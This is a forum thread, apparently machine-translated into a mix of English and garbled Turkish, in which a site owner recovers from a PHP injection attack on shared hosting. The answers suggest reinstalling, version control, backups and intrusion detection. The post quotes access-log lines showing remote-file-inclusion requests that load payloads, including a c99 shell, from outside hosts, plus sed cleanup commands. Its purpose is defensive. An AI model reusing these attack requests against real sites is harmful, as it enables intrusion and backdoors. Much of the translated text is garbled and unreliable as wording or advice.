PHP Injection Attack - en iyi nasıl pisliği temizlemek için?

4 Cevap php

Once in a while my shared hosting environment gets compromised because, well, I failed to keep the portfolio of my installed apps patched up. Last week, it was because of an old and unused installation of a PHP application called Help Center Live. The result was that every single PHP file on the server (and I have several Wordpresses, Joomlas, SilverStripe installations) had code added that pulled cloaked links from other sites and included them in my page. Other people report their sites banned from Google after this kind of attack - luckily I seem to have caught it early enough. I only noticed it when browswing to one of the sites from my phone - the page had the links included on the Mobile browser.

Ben günlüğünde bu gibi bir çok saldırı girişimleri bulundu:

62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http://www.portlandonnuri.com/ 2008_web//technote7/data/photo/ id2.txt??? HTTP/1.1" 200 26 "-" "libwww-perl/5.814"

Ben hemen bu uygulamayı kaldırılır ve her kaynak dosyadan kusurlu PHP kodu kaldırılmış bir senaryo yazdı. Ben de komut dahil diğer virüslü siteler için bağlantılar içeren HTML dosyaları yarattıklarını bulundu. Ben de onları kaldırıldı. Ona daimi erişim verecek bir PHP dosyası bir yere - Şimdi saldırganın ben cevapsız başka bir şey bırakmış olabilir endişe duyuyorum. Dosya tarihleri ​​tüm saldırı modifiye edildi ve ben söz konusu süre içinde değişti diğer dosyaları bulamadı. Eminim benim sunucu üzerinde herhangi bir arka kapı vardır yapmak için, cevapsız bariz bir şey var mı?

Düzenleme: Ben de yukarıda günlük dosyası kod parçasında gösterildiği gibi, saldırı kodunu içeren metin dosyaları arayın. Ben herhangi bulamadık.

Another edit: If you happen to come across this post because you are finding yourself in the same situation, maybe this will help you. I used this to back up all my PHP source files before manipulating them:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

ve bu saldırgan yapmıştı değişiklikleri geri almak için:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

Roket bilimi değil, ama benim gibi ara sıra Linux / Unix kullanıcı :-) için ya da önemsiz değil.

Another edit: I cannot audit every line of code on the server, but I can search for suspicious data. I searched for all occurences of "eval" and "base64" and did not find anything that did not look legit. I then ran a grep for ".ru" (since the perpetrators seems to come from there) and, lo and behold, found something called a c99 shell, which I swiftly removed.

Final edit: I found out how the c99 shell was uploaded - through a hole in the Coppermine Photo Gallery.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

IP adresi, btw, bir Godaddy IP ev sahipliği yaptı.

4 Cevap

Her uygulamanın her satırını denetleyecek veya her şeyi yeniden: Sistem oluşan edildikten sonra gerçekten sadece iki seçenek var. Bunların hepsi hepsini yeniden yüklemek için muhtemelen daha iyi açık kaynak ya da ticari programlar gibi geliyor çünkü. Gerçekten şimdi bunlardan birinde bir arka-kapı yok sağlamak için daha iyi bir yolu yoktur.

Bir güvenlik uzmanı olasılıkla ancak sizin izinleri eğer kurulum doğru bu overkill nerede olabilir, bazı kod OS etkileyecek bir yere daldı değildi emin olamaz çünkü tamamen de OS yeniden öneriyoruz.

1..) Siz) (bu uygulamalar örneğin SVN veya benzer kullandığınız dosyaların bir depo tutun

2..) Her güvenlik güncelleştirmeleri uygulamaları ile mümkün olduğunca en iyi (en bir RSS beslemesi up-to-date tutun)

3..) Yedekleme DB düzenli

Eğer / ne zaman! @ # $ Eğer DB taze bir kopyası ile başlamak ve SVN kod dağıtmanız olabilir fan vurur.

Biz bir metin dosyasına tam bir dizin listesi, tüm sürücüleri ve klasörleri, her gün yapmak.

Bu hangi dosyaların geçmişte, aslında sonra, twiddled oylandı keşfetmek için bize yardımcı oldu.

Kadar şimdi nerede ile yardımcı, ama gelecekte yardımcı olabilir değil.

(Tarihini değiştirebilir / şeyler onların boyutunu taklit durmuyor, ama rahatsız olmayan şeyler için karışıklık çözmek için yardımcı olacaktır)

Diğerleri (opensource örneğin, PHPIDS,) bazı Intrusion Detection System yükleyebilirsiniz söylediklerime ek olarak.